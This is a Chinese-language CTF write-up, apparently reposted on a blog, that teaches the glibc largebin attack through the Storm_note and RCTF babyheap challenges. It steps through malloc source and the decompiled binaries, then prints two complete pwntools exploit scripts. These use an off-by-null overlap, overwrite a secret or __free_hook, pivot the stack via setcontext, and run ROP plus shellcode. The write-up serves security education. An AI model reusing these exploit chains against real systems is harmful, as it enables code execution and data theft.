您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關怎樣剖析Largebin Attack,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
從西湖論劍的Storm_note第一次接觸largebin,RCTF的babyheap,發現這兩道題的本質上是一樣的,因此我將通過這兩道題目對largebin attack進行深入研究,從源碼分析到動態調試,將largebin attack的整個流程都過了一遍,整理一下largebin attack的利用過程,希望對大家有幫助。
首先從源碼角度靜態分析將chunk從unsortedbin放入largebin部分的代碼邏輯。
for (;; ) { int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))//從第一個unsortedbin的bk開始遍歷,FIFO原則 { bck = victim->bk; if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0)) malloc_printerr ("malloc(): memory corruption"); size = chunksize (victim); /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一個,并且該bin中的最后一個chunk的size大于我們申請的大小 { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); //將選中的chunk剝離出來,恢復unsortedbin unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* remove from unsorted list */ if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3"); unsorted_chunks (av)->bk = bck;//將其從unsortedbin中取出來 bck->fd = unsorted_chunks (av);//bck要保證地址的有效性 /* Take now instead of binning if exact fit */ if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) set_non_main_arena (victim); #if USE_TCACHE /* Fill cache first, return to user only if cache fills. We may return one of these chunks later. */ if (tcache_nb && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (victim, tc_idx); return_cached = 1; continue; } else { #endif check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; #if USE_TCACHE } #endif } /* place chunk in bin */ /*把unsortedbin的chunk放入相應的bin中*/ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else//large bin { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); /* 如果size<large bin中最后一個chunk即最小的chunk,就直接插到最后*/ if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); // 否則正向遍歷,fwd起初是large bin第一個chunk,也就是最大的chunk。 // 直到滿足size>=large bin chunk size while ((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize;//fd_nextsize指向比當前chunk小的下一個chunk assert (chunk_main_arena (fwd)); } if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else// 插入 { //解鏈操作,nextsize只有largebin才有 victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); //解鏈操作2,fd,bk victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; //fwd->bk->fd=victim
從源碼中可以分析出將chunk(victim)從unsortedbin中取出來放入largebin的具體過程。malloc的時候,遵循FIFO原則,從unsortedbin的鏈尾開始往前遍歷。對每次選中的chunk(代碼中為victim),大致會進行以下操作:
1、如果申請的大小是smallbin范圍內&&victim是unsortedbin中僅剩的一個chunk&&victim的大小滿足需求,則利用這個chunk分配給用戶返回;否則將這個victim從unsortedbin中脫離出來。2、除非size剛好是需要的大小,否則將其放入相應的smallbin或largebin3、如果是0x400以上(即為largebin),則從大到小的順序找到一個鏈表,該鏈表的size<=size(victim),該鏈表的第一個chunk即為fwd。如果剛好相等,則不對bk_nextsize和fd_nextsize進行操作。4、解鏈操作1(重點關注最后一步):
victim->bk_nextsize->fd_nextsize = victim
相當于fwd->bk_nextsize->fd_nextsize=victim
,即向fwd->bk_nextsize指針中寫入victim的地址。5、解鏈操作2(重點關注最后一步):bck->fd = victim
相當于fwd->bk->fd=victim
,即向fwd->bk的指針中寫入victim的地址。
largebin attack的關鍵是最后兩個解鏈操作,如果可以控制fwd的bk_nextsize指針和bk指針,可以實現向任意地址寫入victim的地址。
off_by_null
largebin attackunlinkchunk overlapping
[*] '/home/leo/pwn/xihu/Storm_note' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
1、init_proc
ssize_t init_proc() { ssize_t result; // rax int fd; // [rsp+Ch] [rbp-4h] setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); if ( !mallopt(1, 0) ) // 禁用fastbin exit(-1); if ( mmap((void *)0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0xABCD0000LL ) exit(-1); fd = open("/dev/urandom", 0); if ( fd < 0 ) exit(-1); result = read(fd, (void *)0xABCD0100LL, 0x30uLL); if ( result != 48 ) exit(-1); return result; }
程序一開始就對進程進行初始化,mallopt(1, 0)
禁用了fastbin,然后通過mmap在0xABCD0000分配了一個頁面的可讀可寫空間,最后往里面寫入一個隨機數。
2、add
for ( i = 0; i <= 15 && note[i]; ++i )//按順序存放堆指針 ; if ( i == 16 ) { puts("full!"); } else { puts("size ?"); _isoc99_scanf((__int64)"%d", (__int64)&v1); if ( v1 > 0 && v1 <= 0xFFFFF ) { note[i] = calloc(v1, 1uLL);//清空內容 note_size[i] = v1;//0x202060 puts("Done"); }
首先遍歷全局變量note,找到一個沒有存放內容的地方保存堆指針。然后限定了申請的堆的大小最多為0xFFFFF,調用calloc函數來分配堆空間,因此返回前會對分配的堆的內容進行清零。
3、edit
puts("Index ?"); _isoc99_scanf((__int64)"%d", (__int64)&v1); if ( v1 >= 0 && v1 <= 15 && note[v1] )//0x2020a0 { puts("Content: "); v2 = read(0, note[v1], (signed int)note_size[v1]); *((_BYTE *)note[v1] + v2) = 0; // off_by_null puts("Done"); }
存在一個off_by_null漏洞,在read后v2保存寫入的字節數,最后在該偏移處的字節置為0,形成off_by_null。
4、delete
puts("Index ?"); _isoc99_scanf((__int64)"%d", (__int64)&v1); if ( v1 >= 0 && v1 <= 15 && note[v1] ) { free(note[v1]); note[v1] = 0LL; note_size[v1] = 0; }
正常free
5、backdoor
void __noreturn backdoor() { char buf; // [rsp+0h] [rbp-40h] unsigned __int64 v1; // [rsp+38h] [rbp-8h] v1 = __readfsqword(0x28u); puts("If you can open the lock, I will let you in"); read(0, &buf, 0x30uLL); if ( !memcmp(&buf, (const void *)0xABCD0100LL, 0x30uLL) ) system("/bin/sh"); exit(0); }
程序提供一個可以直接getshell的后門,觸發的條件就是輸入的數據與mmap映射的空間的前48個字節相同。
根據程序提供的后門,可以通過兩種方法來觸發:
1、通過泄露信息來獲取寫入的隨機數2、通過實現任意寫來改寫0xABCD0000地址的48字節隨機數成已知的數據。
但這題沒有提供輸出函數,因此第一種方法不好利用,這里采取第二種方法,實現任意寫。這題由于禁用了fastbin,可以考慮使用largebin attack來是實現任意寫。
1、利用off_by_null 漏洞實現chunk overlapping,從而控制堆塊內容。2、將處于unsortedbin的可控制的chunk放入largebin中,以便觸發largebin attack3、控制largebin的bk和bk_nextsize指針,通過malloc觸發漏洞,分配到目標地址,實現任意地址寫
第一步:chunk overlapping
add(0x18)#0 add(0x508)#1 add(0x18)#2 add(0x18)#3 add(0x508)#4 add(0x18)#5 add(0x18)#6
首先分配7個chunk,chunk1和chunk4是用于放入largebin的大chunk,chunk6防止top chunk合并。
edit(1,'a'*0x4f0+p64(0x500))#prev_size edit(4,'a'*0x4f0+p64(0x500))#prev_size
構造兩個偽造的prev_size,用于繞過malloc檢查,保護下一個chunk的prev_size不被修改。
dele(1) edit(0,'a'*0x18)#off by null
利用off_by_null漏洞改寫chunk1的size為0x500
add(0x18)#1 add(0x4d8)#7 0x050 dele(1) dele(2) #overlap
先將0x20的chunk釋放掉,然后釋放chunk2,這時觸發unlink,查可以看到在note中chunk7保存著0x...50的指針,但這一塊是已經被釋放掉的大chunk,形成堆塊的重疊。因此如果申請0x18以上的chunk,就能控制該chunk的內容了。
#recover add(0x30)#1 add(0x4e0)#2
申請0x30的chunk,形成chunk overlapping。接下來用同樣的方法對第二個大chunk進行overlapping
dele(4) edit(3,'a'*0x18)#off by null add(0x18)#4 add(0x4d8)#8 0x5a0 dele(4) dele(5)#overlap add(0x40)#4 0x580 edit(8,'ffff')
第二步:放入largebin
如何才能觸發條件,將unsortedbin中的大chunk放入largebin呢?接下來從源碼分析該機制。
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))//從第一個unsortedbin的bk開始遍歷 { bck = victim->bk; size = chunksize (victim); if (in_smallbin_range (nb) &&//<_int_malloc+627>bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) //unsorted_bin的最后一個,并且該bin中的最后一個chunk的size大于我們申請的大小 {remainder_size = size - nb; remainder = chunk_at_offset (victim, nb);...}//將選中的chunk剝離出來,恢復unsortedbin if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3"); unsorted_chunks (av)->bk = bck; //largebin attack //注意這個地方,將unsortedbin的bk設置為victim->bk,如果我設置好了這個bk并且能繞過上面的檢查,下次分配就能將target chunk分配出來 if (size == nb)//size相同的情況同樣正常分配 if (in_smallbin_range (size))//放入smallbin { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else//放入large bin { while ((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize;//fd_nextsize指向比當前chunk小的下一個chunk assert (chunk_main_arena (fwd)); } if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else// 插入 { //解鏈操作,nextsize只有largebin才有 victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); //解鏈操作2,fd,bk victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; //fwd->bk->fd=victim
dele(2) #unsortedbin-> chunk2 -> chunk5(0x5c0) which size is largebin FIFO add(0x4e8) # put chunk8(0x5c0) to largebin dele(2) #put chunk2 to unsortedbin
簡要總結一下這個過程,在unsortedbin中存放著兩個大chunk,第一個0x4e0,第二個0x4f0。當我申請一個0x4e8的chunk時,首先找到0x4e0的chunk,太小了不符合調件,于是將它拿出unsortedbin,放入largebin。在放入largebin時就會進行兩步解鏈操作,兩個解鏈操作的最后一步是關鍵。
可以看到從unsortedbin->bk開始遍歷,第一個的size < nb
因此就會放入largebin,繼續往前遍歷,找到0x4f0的chunk,剛好滿足size==nb
,因此將其分配出來。最后在delete(2)將剛剛分配的chunk2再放回unsortedbin,進行第二次利用。
第三步:largebin attack
再回顧一下之前源碼中更新unsortedbin的地方
bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3"); unsorted_chunks (av)->bk = bck; //largebin attack
content_addr = 0xabcd0100 fake_chunk = content_addr - 0x20 payload = p64(0)*2 + p64(0) + p64(0x4f1) # size payload += p64(0) + p64(fake_chunk) # bk edit(7,payload)
payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size payload2 += p64(0) + p64(fake_chunk+8) payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap edit(8,payload2)
修改largebin的bk和bk_nextsize
分析一下為什么改寫為這些值。先回顧一下兩個解鏈操作。
victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); //解鏈操作2,fd,bk victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; //fwd->bk->fd=victim
根據之前的chunk overlappnig,可以控制largebin的bk和bk_nextsize,fwd就是已經放入largebin的chunk,victim就是unsortedbin中需要放入largebin的chunk。victim->bk_nextsize->fd_nextsize = victim;//fwd->bk_nextsize->fd_nextsize=victim
在fwd->bk_nextsize中放入目標的addr,實現*(addr+0x20) = victim
bck->fd = victim;
在fwd->bk中放入目標addr,實現*(addr+0x10)=victim
因為unsortedbin中存放了fake_chunk,但那里沒有一個符合條件的size,因此需要通過這個解鏈操作給那里寫入一個地址,作為size。
(fake_chunk-0x18-5 + 0x20) = (fake_chunk+3) = victim
最后能在fake_chunk上寫入0x56,而程序開了PIE保護,程序基址有一定幾率以0x56開頭。
bck->fd = unsorted_chunks (av)
同時還要保證bck的地址有效
(fake_chunk+8+0x10)=(fake_chunk+0x18)=victim
add(0x40)
從unsortedbin的bk開始遍歷,發現bk是0xabcd00e0,bck!=unsorted_chunks (av),因此不會從該chunk中剝離一塊內存分配。然后執行一下語句
unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
將0xabcd00e0->bk重新放入unsortedbin。然后由于size==nb,返回分配,成功將目標地址返回。
payload = p64(0) * 2+p64(0) * 6 edit(2,payload) p.sendlineafter('Choice: ','666') p.send(p64(0)*6)
最后將0XABCD0100的隨機數修改為0,觸發后門即可。
from pwn import * p = process('./Storm_note') def add(size): p.recvuntil('Choice') p.sendline('1') p.recvuntil('?') p.sendline(str(size)) def edit(idx,mes): p.recvuntil('Choice') p.sendline('2') p.recvuntil('?') p.sendline(str(idx)) p.recvuntil('Content') p.send(mes) def dele(idx): p.recvuntil('Choice') p.sendline('3') p.recvuntil('?') p.sendline(str(idx)) add(0x18)#0 add(0x508)#1 add(0x18)#2 add(0x18)#3 add(0x508)#4 add(0x18)#5 add(0x18)#6 edit(1,'a'*0x4f0+p64(0x500))#prev_size edit(4,'a'*0x4f0+p64(0x500))#prev_size dele(1) edit(0,'a'*0x18)#off by null add(0x18)#1 add(0x4d8)#7 0x050 dele(1) dele(2) #overlap #recover add(0x30)#1 add(0x4e0)#2 dele(4) edit(3,'a'*0x18)#off by null add(0x18)#4 add(0x4d8)#8 0x5a0 dele(4) dele(5)#overlap add(0x40)#4 0x580 dele(2) #unsortedbin-> chunk2 -> chunk5(chunk8)(0x5c0) which size is largebin FIFO add(0x4e8) # put chunk8(0x5c0) to largebin dele(2) #put chunk2 to unsortedbin content_addr = 0xabcd0100 fake_chunk = content_addr - 0x20 payload = p64(0)*2 + p64(0) + p64(0x4f1) # size payload += p64(0) + p64(fake_chunk) # bk edit(7,payload) payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size payload2 += p64(0) + p64(fake_chunk+8) payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap edit(8,payload2) add(0x40) #gdb.attach(p,'vmmap') payload = p64(0) * 2+p64(0) * 6 edit(2,payload) p.sendlineafter('Choice: ','666') p.send(p64(0)*6) p.interactive()
off by one
largebin attackunlinkchunk overlappingROPshellcode編寫
[*] '/home/leo/Desktop/RCTF/babyheap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
保護全開
1、init
首先選取2字節的隨機數作為mmap函數分配給ptrs的地址,然后禁用了fastbin,最后對一些系統調用函數進行限制。利用seccomp-tools工具可以快速查看程序對哪些函數進行限制。
發現禁用了fork、execve等函數,因此不能直接調用system函數來getshell。可以考慮用open、read、write讀取輸出文件內存來獲得flag。
2、add
分析出ptrs的保存的數據以16字節為單位,前8字節保存用calloc函數分配的堆塊指針,后8字節保存對應的size。
3、edit
edit函數存在一個off by null漏洞。
4、delete
安全的free,清空了指針,沒什么問題。
5、show
提供了一個輸出函數,可以用來泄露信息。
1、利用off by null漏洞改寫size,通過unlink形成chunk overlapping對fwd的堆塊的bk和bk_nextsize實施控制。在這過程中順便用show函數泄露libc和heap地址。2、由于涉及到fwd和victim兩個large size的chunk的操作,需要先將一個chunk放入largebin,另一個放入unsortedbin,然后利用largebin attack往free_hook前某個內存錯位寫入0x56作為fake_chunk的size。然后分配到fake_chunk改寫free_hook指針。3、因為程序開啟的保護限制了system函數的使用,所以不能直接getshell。如果要利用open、read、write來讀取flag文件,需要用到ROP技術。4、因為只知道libc和heap地址,不知道棧地址和程序基址,首先需要將rsp遷移到堆上。5、最后就能通過ROP來獲取flag
第一步:chunk overlapping
add(0x18)#0 add(0x508)#1 add(0x18)#2 add(0x18)#3 add(0x508)#4 add(0x18)#5 add(0x18)#6 edit(1,'a'*0x4f0+p64(0x500))#prev_size edit(4,'a'*0x4f0+p64(0x500))#prev_size #gdb.attach(p) #第一個大chunk dele(1) edit(0,'a'*0x18)#off by null add(0x18)#1 add(0x4d8)#7 0x050 dele(1) dele(2)#overlap
#第二個大chunk dele(4) edit(3,'a'*0x18)#off by null add(0x18)#4 add(0x4d8)#8 0x5a0 dele(4) dele(5)#overlap add(0x40)#4 0x580
這一步與Storm_note前一部分是一樣的,這里不多做解釋。
第二步:泄露libc和heap
在形成第一個大chunk的overlapping的時候因為chunk在unsortedbin里,可以順便泄露libc基址和heap地址。這些是常規操作。
此時能控制的堆塊從0x...50開始,unsortedbin中的堆塊為0x...20,因此需要分配0x20大小的塊出來,使得unsortedbin的地址寫入0x...50。
#recover leak libc add(0x18)#1 show(7) p.recv(1) leak = p.recv(6) libc_base=uu64(leak)-0x3c4b78 success('libc_base= {}'.format(hex(libc_base)))
用同樣的方法,要泄露heap地址,需要在fd上保存下一個堆塊指針,則需要將兩個chunk放入unsortedbin中,同時第二個放入的chunk是可控的。
#leak heap add(0x4e0)#2 add(0x18)#8 dele(3) dele(2) show(7) p.recv(1) data = p.recv(6) heap = uu64(data)-0x550 success('heap= {}'.format(hex(heap))) add(0x4e0) add(0x18)
第三步:largebin attack
dele(2) add(0x4e8) dele(2)
同樣的由于在第一個chunk的大小為0x4e0,不滿足(unsigned long) (size) > (unsigned long) (nb + MINSIZE)
條件,因此將其剝離出來,放入largebin。然后繼續往前搜索發現0x4f0滿足要求,返回給用戶。最后再把chunk2重新放入unsortedbin中。形成一個unsortedbin中的victim和largebin中的fwd。
free_hook = libc.symbols['__free_hook']+libc_base fake_chunk = free_hook-0x10 payload = p64(0) + p64(fake_chunk) # bk edit(7,payload) payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size payload2 += p64(0) + p64(fake_chunk+8) payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap edit(9,payload2) add(0x40)
做了三件事情:
1、將unsortedbin中的victim的bk改寫為fake_chunk,使得下一次往前遍歷時命中這塊內存。2、改寫largebin中的fwd的bk為victim,使得bck->fd=unsorted_chunks (av)成功執行。3、改寫largebin中的fwd的bk_nextsize為fake_chunk的size字段,錯位寫入heap地址。
第四步:遷移棧到堆,利用ROP
要用到ROP需要在棧上布置數據,但堆題一般都只是將數據放在堆上,因此很難利用ROP。解決方法是利用mov rsp,[xxx]的方法遷移棧到堆上。這里利用的是setcontext函數中有一段指令可以控制rsp寄存器。
因此,觸發free_hook前,往free_hook中填寫setcontext+53的地址,注意布置好第一個參數rdi對應的堆塊的數據,就可以改寫rsp等寄存器的值。
setcontext = 0x47b75+libc_base success('setcontext= {}'.format(hex(setcontext))) edit(2,p64(setcontext))
接著是往一個堆上布置好ROP的數據,流程是調用mprotect將heap改為可執行,然后調用mmap分配一塊可讀可寫可執行內存,接下來將shellcode復制到這塊內存,最后跳到shellcode開始執行。
a = ''' mov esp,0x400100 push 0x67616c66 mov rdi,rsp ''' shellcode = asm(a,arch='amd64',os='linux') shellcode += asm(shellcraft.amd64.syscall("SYS_open","rdi",'O_RDONLY', 0)+'mov rbx,rax',arch='amd64',os='linux') shellcode += asm(shellcraft.amd64.syscall("SYS_read","rbx",0x400200,0x20),arch='amd64',os='linux') shellcode += asm(shellcraft.amd64.syscall("SYS_write",1,0x400200,0x20),arch='amd64',os='linux') p_rdi=0x0000000000021102+libc_base p_rdx_rsi=0x00000000001150c9+libc_base p_rcx_rbx=0x00000000000ea69a+libc_base p_rsi = 0x00000000000202e8+libc_base mprotect=libc.symbols['mprotect']+libc_base setcontext = 0x47b75+libc_base success('setcontext= {}'.format(hex(setcontext))) mmap = libc.symbols['mmap']+libc_base edit(2,p64(setcontext)) rop = p64(0)*5+p64(0xffffffff)+p64(0)#r8 r9 rop+= p64(0)*13 rop+= p64(heap+0x100)#mov rsp,[rdi+0xa0] rop+= p64(p_rdi)#push rcx;ret rop+= p64(heap)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect) rop+= p64(p_rdi)+p64(0x400000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(p_rcx_rbx)+p64(0x22)+p64(0)+p64(mmap) rop+= p64(p_rcx_rbx)+p64(len(shellcode))+p64(0) + p64(p_rdi)+p64(0x400000) + p64(p_rsi)+p64(heap+0x1be)+p64(heap+0x1b0) rop+= asm(''' rep movsd push 0x400000 ret ''',arch='amd64',os='linux')+'\x00' rop+= shellcode edit(7,rop) dele(7) p.interactive()
其實這題更簡單的方法是直接利用ROP來open、read、write或者直接在堆上執行shellcode。我這么做就是將兩種方法結合起來。
from pwn import * p = process('./babyheap') libc = ELF('/home/leo/Desktop/libc-2.23.so') #context.log_level='debug' uu64 = lambda data :u64(data.ljust(8, '\0')) def add(size): p.recvuntil('Choice') p.sendline('1') p.recvuntil('Size:') p.sendline(str(size)) def edit(idx,mes): p.recvuntil('Choice') p.sendline('2') p.recvuntil('Index:') p.sendline(str(idx)) p.recvuntil('Content:') p.send(mes) def dele(idx): p.recvuntil('Choice') p.sendline('3') p.recvuntil('Index:') p.sendline(str(idx)) def show(idx): p.recvuntil('Choice') p.sendline('4') p.recvuntil('Index:') p.sendline(str(idx)) add(0x18)#0 add(0x508)#1 add(0x18)#2 add(0x18)#3 add(0x508)#4 add(0x18)#5 add(0x18)#6 edit(1,'a'*0x4f0+p64(0x500))#prev_size edit(4,'a'*0x4f0+p64(0x500))#prev_size #gdb.attach(p) dele(1) edit(0,'a'*0x18)#off by null add(0x18)#1 add(0x4d8)#7 0x050 dele(1) dele(2)#overlap #recover leak libc add(0x18)#1 show(7) p.recv(1) leak = p.recv(6) libc_base=uu64(leak)-0x3c4b78 success('libc_base= {}'.format(hex(libc_base))) #leak heap add(0x4e0)#2 add(0x18)#8 dele(3) dele(2) show(7) p.recv(1) data = p.recv(6) heap = uu64(data)-0x550 success('heap= {}'.format(hex(heap))) add(0x4e0) add(0x18) ########################## dele(4) edit(3,'a'*0x18)#off by null add(0x18)#4 add(0x4d8)#8 0x5a0 dele(4) dele(5)#overlap add(0x40)#4 0x580 #9 control dele(2) add(0x4e8) dele(2) #gdb.attach(p) free_hook = libc.symbols['__free_hook']+libc_base fake_chunk = free_hook-0x10 payload = p64(0) + p64(fake_chunk) # bk edit(7,payload) payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size payload2 += p64(0) + p64(fake_chunk+8) payload2 += p64(0) + p64(fake_chunk-0x18-5)#mmap edit(9,payload2) #gdb.attach(p) add(0x40)#2 #rop a = ''' mov esp,0x400100 push 0x67616c66 mov rdi,rsp ''' shellcode = asm(a,arch='amd64',os='linux') shellcode += asm(shellcraft.amd64.syscall("SYS_open","rdi",'O_RDONLY', 0)+'mov rbx,rax',arch='amd64',os='linux') shellcode += asm(shellcraft.amd64.syscall("SYS_read","rbx",0x400200,0x20),arch='amd64',os='linux') shellcode += asm(shellcraft.amd64.syscall("SYS_write",1,0x400200,0x20),arch='amd64',os='linux') p_rdi=0x0000000000021102+libc_base p_rdx_rsi=0x00000000001150c9+libc_base p_rcx_rbx=0x00000000000ea69a+libc_base p_rsi = 0x00000000000202e8+libc_base mprotect=libc.symbols['mprotect']+libc_base setcontext = 0x47b75+libc_base success('setcontext= {}'.format(hex(setcontext))) mmap = libc.symbols['mmap']+libc_base edit(2,p64(setcontext)) rop = p64(0)*5+p64(0xffffffff)+p64(0)#r8 r9 rop+= p64(0)*13 rop+= p64(heap+0x100)#mov rsp,[rdi+0xa0] rop+= p64(p_rdi)#push rcx;ret rop+= p64(heap)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(mprotect) rop+= p64(p_rdi)+p64(0x400000)+p64(p_rdx_rsi)+p64(7)+p64(0x1000)+p64(p_rcx_rbx)+p64(0x22)+p64(0)+p64(mmap) rop+= p64(p_rcx_rbx)+p64(len(shellcode))+p64(0) + p64(p_rdi)+p64(0x400000) + p64(p_rsi)+p64(heap+0x1be)+p64(heap+0x1b0) rop+= asm(''' rep movsd push 0x400000 ret ''',arch='amd64',os='linux')+'\x00' rop+= shellcode edit(7,rop) dele(7) p.interactive()
通過上述對兩道題目的分析,我總結出largebin attack的一下利用條件或特點以及利用過程。
利用條件或特點:
1、需要對已經free的堆塊進行控制。通常需要off by null或者UAF這類漏洞存在。
2、fastbin不可用。通常會出現mallopt(1,0)禁用fastbin。
3、已知目標地址。通常可以泄露libc來控制free_hook
利用過程:
1、構造unsortedbin和largebin兩個大堆塊,并且能控制bk和bk_nextsize指針
2、將unsortedbin中的chunk的bk改為目標地址
3、將largebin中的chunk的bk改為目標地址+8使其可寫
4、將largebin中的chunk的bk_nextsize改為目標地址-0x18-5錯位寫入size以便構造fake_chunk
以上就是怎樣剖析Largebin Attack,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。